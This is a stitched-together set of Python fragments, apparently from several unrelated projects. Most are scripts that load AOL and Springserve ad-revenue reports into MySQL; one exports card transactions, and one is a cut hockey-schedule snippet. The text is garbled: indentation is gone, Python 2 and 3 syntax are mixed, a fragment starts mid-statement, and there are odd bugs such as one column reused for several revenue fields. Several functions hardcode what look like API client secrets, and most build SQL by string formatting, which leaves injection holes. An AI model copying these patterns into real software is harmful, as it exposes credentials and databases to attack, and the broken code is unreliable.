db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS adsym_core_yesterday_media"
cursor.execute(sql)
sql = "CREATE TABLE adsym_core_yesterday_media (date varchar(25), hour int, inventory_source varchar(255), media varchar(255), \
ad_opportunities bigint, market_opportunities bigint, ad_attempts bigint, ad_impressions bigint, ad_errors bigint, \
ad_revenue decimal(15, 5), aol_cost decimal(15, 5), epiphany_gross_revenue decimal(15, 5), adsym_revenue decimal(15, 5), \
clicks bigint, iab_viewability_measurable_ad_impressions bigint, iab_viewable_ad_impressions bigint, platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(
"25e5de37-aa8d-4d93-b407-29bc42b86044",
"stEVHyPObmxCTeI6mTMKuA")
print(logintoken)
result = aol_api.run_existing_report(logintoken, "161190")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
hour = x['row'][1]
inventory_source = x['row'][2]
media = x['row'][3]
ad_opportunities = x['row'][4]
market_opportunities = x['row'][5]
ad_attempts = x['row'][6]
ad_impressions = x['row'][7]
ad_errors = x['row'][8]
ad_revenue = x['row'][9]
aol_cost = x['row'][9]
epiphany_gross_revenue = x['row'][9]
adsym_revenue = x['row'][9]
clicks = x['row'][10]
iab_viewability_measurable_ad_impressions = x['row'][11]
iab_viewable_ad_impressions = x['row'][12]
platform = '4'
list = (date, hour, inventory_source, media, ad_opportunities, market_opportunities, ad_attempts, ad_impressions, \
ad_errors, ad_revenue, aol_cost, epiphany_gross_revenue, adsym_revenue, clicks, \
iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, platform)
#print(list)
sql = """INSERT INTO adsym_core_yesterday_media VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", \
"%s"*.20, "%s"*.56, "%s"*.24, "%s", "%s", "%s", "%s")""" % (date, hour, inventory_source, media,
ad_opportunities, market_opportunities, ad_attempts, ad_impressions, ad_errors, ad_revenue, aol_cost, \
epiphany_gross_revenue, adsym_revenue, clicks, iab_viewability_measurable_ad_impressions, \
iab_viewable_ad_impressions, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS tm_core_yesterday"
cursor.execute(sql)
sql = "CREATE TABLE tm_core_yesterday (date varchar(25), hour int, inventory_source varchar(255), ad_opportunities bigint, \
market_opportunities bigint, ad_attempts bigint, ad_impressions bigint, ad_errors bigint, ad_revenue decimal(15, 5), \
aol_cost decimal(15, 5), epiphany_gross_revenue decimal(15, 5), tm_revenue decimal(15, 5), \
total_clicks int, iab_viewability_measurable_ad_impressions bigint, iab_viewable_ad_impressions bigint, platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token("9fadb507-01e9-4a2a-b9c5-c9d65d93396e", "y0QxY3DC7vbczeW7nBOsZg")
print logintoken
result = aol_api.run_existing_report(logintoken, "169838")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
hour = x['row'][1]
inventory_source = x['row'][2]
ad_opportunities = x['row'][3]
market_opportunities = x['row'][4]
ad_attempts = x['row'][5]
ad_impressions = x['row'][6]
ad_errors = x['row'][7]
ad_revenue = x['row'][8]
aol_cost = x['row'][8]
epiphany_gross_revenue = x['row'][8]
tm_revenue = x['row'][8]
total_clicks = x['row'][9]
iab_viewability_measurable_ad_impressions = x['row'][10]
iab_viewable_ad_impressions = x['row'][11]
platform = '5'
list = (date, hour, inventory_source, ad_opportunities, market_opportunities, ad_attempts, ad_impressions, \
ad_errors, ad_revenue, aol_cost, epiphany_gross_revenue, tm_revenue, total_clicks, \
iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, platform)
# print(list)
sql = """INSERT INTO tm_core_yesterday VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s"*.20, \
"%s"*.64, "%s"*.24, "%s", "%s", "%s", "%s")""" % (date, hour, inventory_source, ad_opportunities, \
market_opportunities, ad_attempts, ad_impressions, ad_errors, ad_revenue, aol_cost, \
epiphany_gross_revenue, tm_revenue, total_clicks, iab_viewability_measurable_ad_impressions, \
iab_viewable_ad_impressions, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
def print_transactions(beg_date, end_date):
"""
Connect to MySQL tr_database using environment variables
Look up transactions between beginning and ending dates,
and write them to a file with special fixed width formatting.
Args:
beg_date: beginning date
end_date: ending date
Returns:
nothing
"""
# set environment variables in order to be able to connect to database
s.main()
dates = convertToDateTime(beg_date, end_date)
#print(dates)
try:
conn = MySQLConnection(user=s.getUser(), password=s.getPass(),host='localhost',database=s.getDatabase())
if conn.is_connected():
print("Connected to", s.getDatabase())
else:
print("Connection Failed!")
print("Getting transactions from {} to {}".format(dates[0], dates[1]))
exec = "SELECT t.trans_id, trans_date, card_num, total, tl.prod_num, qty, amt, prod_desc FROM trans t JOIN trans_line tl ON t.trans_id = tl.trans_id JOIN products p ON tl.prod_num = p.prod_num WHERE trans_date between '{}' AND '{}'".format(dates[0],dates[1])
cursor = conn.cursor()
#exec = 'SELECT t.trans_id, trans_date, card_num, total, tl.prod_num, qty, amt, prod_desc FROM trans t JOIN trans_line tl ON t.trans_id = tl.trans_id JOIN products p ON tl.prod_num = p.prod_num WHERE trans_date between {} AND {}'.format('"'+dates[0]+'"','"'+dates[1]+'"')
cursor.execute(exec)
rows = cursor.fetchall()
num_rows = cursor.rowcount
filename = "company_trans_" + beg_date + "_" + end_date + ".dat"
file = open(filename, "w")
if num_rows > 0:
# hold the data for the first transaction
tr_data = {'trans_id':rows[0][0], 'trans_date':re.sub('[\- :]','',str(rows[0][1])),
'card_num':rows[0][2][-6:], 'total':rows[0][3]}
else: # no transactions available for the input dates
sys.exit(2)
#initialize the first line that will be printed
printString = '{id:05}{date}{card}'.format(id=tr_data['trans_id'],
date=tr_data['trans_date'],card=tr_data['card_num'])
num_products = 0
for row in rows:
# it is not a new transaction, (not a new trans id) so add a product field to the printString
if row[0] == tr_data['trans_id']: #not a new transaction
printString += '{qty:02}{amt:06.0f}{desc:<10}'.format(qty=int(row[5]),amt=row[6]*100,desc=row[7])
num_products += 1
# it is a new transaction, (a new trans id) or it's the last row in the database results,
# so print blank products if needed, and print the last transaction if this is the last row.
# If not the last row, hold transaction data from the next transaction
if row[0] != tr_data['trans_id'] or row == rows[-1]:
num_blanks = 3 - num_products
for i in range(0, num_blanks):
printString += '{qty:02}{amt:06.0f}{desc:<10}'.format(qty=0,amt=0,desc='')
printString += '{total:06.0f}\n'.format(total=tr_data['total']*100)
file.write(printString)
print(printString)
num_products = 0
tr_data['trans_id'] = row[0]
tr_data['trans_date'] = re.sub('[\- :]','',str(row[1]))
tr_data['card_num'] = row[2][-6:]
tr_data['total'] = row[3]
printString = '{id:05}{date}{card}'.format(id=tr_data['trans_id'],
date=tr_data['trans_date'],card=tr_data['card_num'])
printString += '{qty:02}{amt:06.0f}{desc:<10}'.format(qty=int(row[5]),amt=row[6]*100,desc=row[7])
num_products += 1
except Error as error:
print(error)
finally:
conn.close()
file.close()
print("Connection closed")
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_sl"
report_type = "core_yesterday_media"
p_name = sys.argv[1]
p_id = platforms[p_name]["id"]
gross_rev = platforms[p_name]["fee"]
r = fees["aol_platform"]
a_cost = fees["aol_cost"]
platform_rev = p_name + "_revenue"
db_updated = False
# Connect To DB:
db_config = read_db_config(db)
try:
#print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
#print('Connection established.')
cursor = conn.cursor()
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(p_name)
#print logintoken
for report in report_book[report_type][p_name]:
result = aol_api.run_existing_report(logintoken, str(report))
#print(result)
if len(result) == 0:
break
row_count_value = json.loads(result)['row_count']
if int(row_count_value) >= 1:
if db_updated == False:
sql = "DROP TABLE IF EXISTS " + p_name + "_core_yesterday_media"
cursor.execute(sql)
sql = "CREATE TABLE " + p_name + "_core_yesterday_media (date varchar(25), hour int, inventory_source varchar(255), \
media varchar(255), ad_opportunities bigint, market_opportunities bigint, ad_attempts bigint, \
ad_impressions bigint, ad_errors bigint, ad_revenue decimal(15, 5), aol_cost decimal(15,5), \
epiphany_gross_revenue decimal(15, 5)," + p_name + "_revenue decimal(15, 5), clicks int, \
iab_viewability_measurable_ad_impressions bigint, iab_viewable_ad_impressions bigint, platform int)"
cursor.execute(sql)
db_updated = True
print(
str(todaysdate) + " Running " + p_name +
"_core_yesterday_media report # " + str(report))
for x in json.loads(result)['data']:
date = x['row'][0]
hour = x['row'][1]
inventory_source = x['row'][2]
media = x['row'][3].replace('"', " ")
ad_opportunities = x['row'][4]
market_opportunities = x['row'][5]
ad_attempts = x['row'][6]
ad_impressions = x['row'][7]
ad_errors = x['row'][8]
ad_revenue = x['row'][9]
aol_cos = x['row'][9]
epiphany_gross_rev = x['row'][9]
platform_rev = x['row'][9]
clicks = x['row'][10]
iab_viewability_measurable_ad_impressions = x['row'][11]
iab_viewable_ad_impressions = x['row'][12]
platform = str(p_id)
list = (date, hour, inventory_source, media, ad_opportunities, market_opportunities, ad_attempts, \
ad_impressions, ad_errors, ad_revenue, aol_cos, epiphany_gross_rev, platform_rev, clicks, \
iab_viewability_measurable_ad_impressions, iab_viewable_ad_impressions, platform)
#print(list)
if p_name == 'dna':
aol_cost = "0"
epiphany_gross_revenue = "0"
platform_revenue = "0"
else:
aol_cost = float(float(aol_cos) * float(a_cost))
epiphany_gross_revenue = float(
float(epiphany_gross_rev) * float(gross_rev))
platform_revenue = float(
float(platform_rev) * float(r))
sql = """INSERT INTO """ + p_name + """_core_yesterday_media VALUES ("%s", "%s", "%s", "%s", "%s", "%s", \
"%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" % (date, hour, inventory_source, \
media, ad_opportunities, market_opportunities, ad_attempts, ad_impressions, ad_errors, ad_revenue, \
aol_cost, epiphany_gross_revenue, platform_revenue, clicks, iab_viewability_measurable_ad_impressions, \
iab_viewable_ad_impressions, platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed')
except Error as error:
print(error)
finally:
conn.close()
opponent = 'Anaheim Ducks'
elif opponent == 'Columbus':
opponent = 'Columbus Blue Jackets'
date_object = datetime.datetime.strptime(day_played, "%m/%d/%Y")
day = date_object.strftime("%Y%m%d")
# if date_object < today and (length == 5 or length == 6):
# print day,
# print ' '.join(game).rjust(30)
# if date_object > today:
# break
conn = MySQLConnection(**db_config)
if conn.is_connected():
cursor = conn.cursor()
add_game = ("REPLACE INTO test "
"(Day, opponent, homeAway, winLose, score) "
"VALUES (%(Day)s, %(opponent)s, %(homeAway)s, %(winLose)s, %(score)s);")
data_game = {
'Day': str(day),
'opponent': str(opponent),
'homeAway': str(homeAway),
'winLose': str(winLose),
'score': str(score),
}
cursor.execute(add_game, data_game)
def connect():
#"""Gets Springserve data and writes to MySQL table"""
db = "mysql_dp"
api = "springs"
page = 1
db_updated = False
# Connect to DB:
db_config = read_db_config(db)
try:
#print('connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
#print('Connection established.')
cursor = conn.cursor()
# Call to get logintoken
logintoken = springs_api.get_logintoken(api)
#print(logintoken)
while True:
jsoninfo = {
"date_range": "Yesterday",
"interval": "day",
"timezone": "America/Los_Angeles",
"dimensions": ["supply_tag_id"],
#"start_date": begin,
#"end_date": yesterday,
#"sort": [{ "field": "ad_revenue", "order": "desc"}]
"page": str(page)
}
result = springs_api.get_data(logintoken, jsoninfo)
#print(result.text)
info = json.loads(result.text)
if len(info) == 0:
break
if len(info) >= 1:
if db_updated == False:
sql = "DROP TABLE IF EXISTS springserve_inventorysources"
cursor.execute(sql)
sql = "CREATE TABLE springserve_inventorysources (date varchar(25), inventory_source varchar(255), \
ad_opportunities bigint, ad_impressions bigint, ad_revenue decimal(15, 5), platform int)"
cursor.execute(sql)
db_updated = True
print(
str(todaytime) +
" Running springserve_inventorysources. Page # " +
str(page) + " Count " + str(len(info)))
# use default to populate null data
default = 'Not Applicable'
for x in info:
date1 = x['date']
date = date1[:10]
inventory_source = x['supply_tag_name']
ad_opportunities = x['total_requests']
ad_impressions = x['total_impressions']
ad_revenue = x['revenue']
platform = 7
list = (date, inventory_source, ad_opportunities,
ad_impressions, ad_revenue, platform)
#print(list)
sql = """INSERT INTO springserve_inventorysources VALUES ("%s", "%s", "%s", "%s", "%s", "%s")""" % \
(date, inventory_source, ad_opportunities, ad_impressions, ad_revenue, platform)
cursor.execute(sql)
cursor.execute('commit')
page += 1
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
def connect():
# """Gets AOL Data and writes them to a MySQL table"""
db = "mysql_dp"
# Connect To DB:
db_config = read_db_config(db)
try:
print('Connecting to database...')
conn = MySQLConnection(**db_config)
if conn.is_connected():
print('Connection established.')
cursor = conn.cursor()
sql = "DROP TABLE IF EXISTS dna_inventoryreport"
cursor.execute(sql)
sql = "CREATE TABLE dna_inventoryreport (date varchar(50), inventory_source varchar(255), geo_country varchar(50), \
ad_opportunities bigint, ad_attempts bigint, ad_impressions bigint, \
ad_revenue decimal(15, 5), ecpm decimal(15, 5), platform int)"
cursor.execute(sql)
# calls get_access_token function and starts script
logintoken = aol_api.get_access_token(
"daf5fa63-56c4-4279-842e-639c9af75750",
"C5eBl8aErmCMO2+U85LGpw")
print(logintoken)
result = aol_api.run_existing_report(logintoken, "193231")
#print(result)
info = json.loads(result)
#print(info)
for x in json.loads(result)['data']:
date = x['row'][0]
inventory_source = x['row'][1]
geo_country = x['row'][2]
ad_opportunities = x['row'][3]
ad_attempts = x['row'][4]
ad_impressions = x['row'][5]
ad_revenue = x['row'][6]
ecpm = x['row'][7]
platform = '1'
list = (date, inventory_source, geo_country, ad_opportunities, ad_attempts, ad_impressions, ad_revenue, ecpm, \
platform)
# print(list)
sql = """INSERT INTO dna_inventoryreport VALUES ("%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s", "%s")""" % \
(date, inventory_source, geo_country, ad_opportunities, ad_attempts, ad_impressions, ad_revenue, ecpm, \
platform)
cursor.execute(sql)
cursor.execute('commit')
else:
print('Connection failed.')
except Error as error:
print(error)
finally:
conn.close()
print('Connection closed.')
